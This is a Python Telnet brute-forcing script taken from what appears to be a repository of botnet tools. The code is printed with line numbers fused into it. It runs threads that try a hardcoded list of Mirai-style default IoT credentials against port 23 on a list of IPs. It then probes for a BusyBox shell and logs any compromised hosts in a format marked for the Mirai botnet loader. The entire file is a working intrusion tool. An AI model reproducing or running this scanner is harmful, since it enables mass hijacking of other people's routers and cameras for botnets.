Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/telnet_bruter_edited.py
5038 views
import threading1import sys, os, re, time, socket2from Queue import *3from sys import stdout45if len(sys.argv) < 4:6print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"7sys.exit()89ips = open(sys.argv[1], "r").readlines()10threads = int(sys.argv[2])11output_file = sys.argv[3]12queue = Queue()13queue_count = 01415combo = [ #use as many passwords as ya want(P.S. The more passwords the slower the bruteforce is going to be)16"root:xc3511",17"root:vizxv",18"root:admin",19"admin:admin",20"root:888888",21"root:xmhdipc",22"root:default",23"root:juantech",24"root:123456",25"root:54321",26"support:support",27"root: ",28"admin:password",29"root:root",30"root:12345",31"user:user",32"admin:",33"root:pass",34"admin:admin1234",35"root:1111",36"admin:smcadmin",37"admin:1111",38"root:666666",39"root:password",40"root:1234",41"root:klv123",42"Administrator:admin",43"service:service",44"supervisor:supervisor",45"guest:guest",46"guest:12345",47"guest:12345",48"admin1:password",49"administrator:1234",50"666666:666666",51"888888:888888",52"ubnt:ubnt",53"root:klv1234",54"root:Zte521",55"root:hi3518",56"root:jvbzd",57"root:anko",58"root:zlxx.",59"root:7ujMko0vizxv",60"root:7ujMko0admin",61"root:system",62"root:ikwb",63"root:dreambox",64"root:user",65"root:realtek",66"root:00000000",67"admin:1111111",68"admin:1234",69"admin:12345",70"admin:54321",71"admin:123456",72"admin:7ujMko0admin",73"admin:1234",74"admin:pass",75"admin:meinsm",76"tech:tech"77]7879for ip in ips:80queue_count += 181stdout.write("\r[%d] Added to queue" % queue_count)82stdout.flush()83queue.put(ip)84print "\n"8586class router(threading.Thread):87def __init__ (self, ip):88threading.Thread.__init__(self)89self.ip = str(ip).rstrip('\n')90def run(self):91username = ""92password = ""93for passwd in combo:94if ":n/a" in passwd:95password=""96else:97password=passwd.split(":")[1]98if "n/a:" in passwd:99username=""100else:101username=passwd.split(":")[0]102try:103tn = socket.socket()104tn.settimeout(8)105tn.connect((self.ip,23))106except Exception:107tn.close()108break109try:110hoho = ''111hoho += readUntil(tn, "ogin:")112if "ogin" in hoho:113tn.send(username + "\n")114time.sleep(2)115except Exception:116tn.close()117try:118hoho = ''119hoho += readUntil(tn, "assword:")120if "assword" in hoho:121tn.send(password + "\n")122time.sleep(2)123else:124pass125except Exception:126tn.close()127try:128prompt = ''129prompt += tn.recv(40960)130if ">" in prompt and "ONT" not in prompt:131try:132tn.send("cat | sh" + "\n")133time.sleep(1)134success = False135timeout = 8136data = ["BusyBox", "Built-in"]137tn.send("sh" + "\n")138time.sleep(1)139tn.send("busybox" + "\r\n")140buf = '' # NO FALSE POSSITIVES OVA HERE141start_time = time.time()142while time.time() - start_time < timeout:143buf += tn.recv(40960)144time.sleep(1)145for info in data:146if info in buf and "unrecognized" not in buf:147success = True148break149except:150pass151elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:152try:153success = False154timeout = 8155data = ["BusyBox", "Built-in"]156tn.send("sh" + "\n")157time.sleep(0.01)158tn.send("shell" + "\n")159time.sleep(0.01)160tn.send("help" + "\n")161time.sleep(0.01)162tn.send("busybox" + "\r\n")163buf = '' # NO FALSE POSSITIVES OVA HERE164start_time = time.time()165while time.time() - start_time < timeout:166buf += tn.recv(40960)167time.sleep(0.01)168for info in data:169if info in buf and "unrecognized" not in buf:170success = True171break172except:173pass174else:175tn.close()176if success == True:177try:178#os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt179#os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular180os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai181print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)182tn.close()183break184except:185tn.close()186tn.close()187except Exception:188tn.close()189190def readUntil(tn, string, timeout=8):191buf = ''192start_time = time.time()193while time.time() - start_time < timeout:194buf += tn.recv(1024)195time.sleep(0.01)196if string in buf: return buf197raise Exception('TIMEOUT!')198199def worker():200try:201while True:202try:203IP = queue.get()204thread = router(IP)205thread.start()206queue.task_done()207time.sleep(0.2)208except:209pass210except:211pass212213for l in xrange(threads):214try:215t = threading.Thread(target=worker)216t.start()217time.sleep(0.01)218except:219pass220221